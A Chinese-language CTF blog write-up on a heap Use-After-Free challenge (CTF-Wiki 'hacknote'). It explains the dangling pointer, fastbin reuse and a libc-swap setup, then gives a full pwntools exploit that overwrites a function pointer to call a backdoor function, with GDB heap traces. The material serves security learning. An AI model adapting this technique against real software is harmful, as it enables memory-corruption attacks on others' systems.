跳到主要内容

「PWN」堆的第一次尝试 - UseAfterFree

· 阅读需 5 分钟
MuelNova
Pwner who wants to write codes.

磨磨蹭蹭这么久也总算是入 HEAP 的坑了

感谢 Ayoung 不开之恩(bushi)

先来看一下最简单的Use After Free利用,对堆的知识需求很低。明天估计会写一个Double Free + Unlink

用的是CTF-WIKI的原题hacknote

这里提一下中途遇到的坑。libc-2.31对堆的回收机制有了不少改变,因此在一开始根据CTF-WIKI的方法调试的时候行不通。因此写一下更换动态解释器的方法。

首先需要两个工具,glibc-all-in-allpatchelf

安装方法自行查看README.md不多赘述

下载对应的libc后,使用patchelfELF文件进行解释

patchelf --set-interpreter /path/to/libc/libc-2.23.so --set-rpath /path/to/libc/ ./binary_file_name

# For Example: patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./use_after_free

Use After Free

引起这个漏洞的原因主要是dangling pointer —— 在free()后内存指针没有被设置为 NULL。

如果此时其他代码修改了这段内存的内容的话,再次使用这段内存就会出现问题。

Source

gcc -m64 -fno-stack-protector -no-pie -z execstack -g use_after_free.c -o use_after_free
# Make

保护全关、64 位

struct_note

程序定义了一个结构体,定义了一个printnote的指针指向print_note_content方法以及一个content的指针。

add_note()

看一下add_note()的实现:首先malloc了一个struct note,也就是 16 字节的堆。在这之后,为content申请了size字节的堆。

del_note()

注意看del_note()。在删除节点后,count没有变化——这一方面限制了我们add_note()的次数,另一方面也给我们的漏洞利用提供了便利。同时,我们可以发现free之后notelist[idx]并没有置为NULL,这便给我们的Use After Free带来了可能。

print_note()

可以看出,print_note()调用了notelist[idx]->printnote(notelist[idx])方法,假如我们能把notelist[idx]->printnote的内存修改了的话,也就能做到执行后门函数的效果了。

Exploit

因为struct note是固定0x20大小的chunk,所以我们主要思考fastbins相关的利用

因为fastbins维护了0x20~0x80的数个链表,且有后进先出的机制。我们不妨这样思考:

倘若我们申请两个0x20的 note 记为note1note2,此时我们的程序应该有 4 个堆——两个大小为0x20note1_struct_notenote2_struct_note以及两个大小为0x30note1note2(不计算PREV_IN_USE的一字节)

这时我们将两个 note 全部释放,则fastbisn中此时应该是这样的

fastbins:
0x20: note2_struct_note_addr -> note1_struct_note_addr
0x30: note2 -> note1

如果我们此时再申请一个0x10的 notenote3呢?由fastbins的回收利用机制我们可以想到

第一个note2_struct_note_addr被分配给了note3_struct_note_addr,而第二个note1_struct_note_addr则被分配给了我们可控的note3

这时,如果我们将note3content改为后门函数,并执行print_note(0)

——如你所料的,后门函数被执行了。

from pwn import *

sh = process(["./use_after_free"])


def add_note(size, content):
sh.recvuntil(b"Your choice :")
sh.sendline(b"1")
sh.recvuntil(b"Note size :")
sh.sendline(str(size).encode())
sh.recvuntil(b"Content :")
sh.sendline(content)


def delete_note(index):
sh.recvuntil(b"Your choice :")
sh.sendline(b"2")
sh.recvuntil(b"Index :")
sh.sendline(f"{index}".encode())


def print_note(index):
sh.recvuntil(b"Your choice :")
sh.sendline(b"3")
sh.recvuntil(b"Index :")
sh.sendline(f"{index}".encode())


# gdb.attach(sh)
add_note(32, b"aaaa")
add_note(32, b"bbbb")
delete_note(0)
delete_note(1)
add_note(16, p64(0x4015f9)) # addr of magic()
print_note(0)
sh.interactive()

GDB

以上只是理论知识,没有GDB实际调过确实是一知半解。

根据上面的 exp,我们分别在第二个add_note()和第二个delete_note()以及最后一个add_note()下调试看看

heap after adding

heap after adding

0x401256print_note_content()的地址,0xd040300xd04080content的地址

heap after deleting

heap after deleting

heap after deleting

可以看出,不同大小的链表进入了不同的fastbins中。

heap final

heap final

heap final

最后一次添加之后,我们发现:fastbins中的两个0x20大小的堆被回收利用了!且作为content0x4015f9的后门函数地址已经写到了一开始print_note_content()的地方

此时运行print_note(),后门函数便执行了

Shell!

Loading Comments...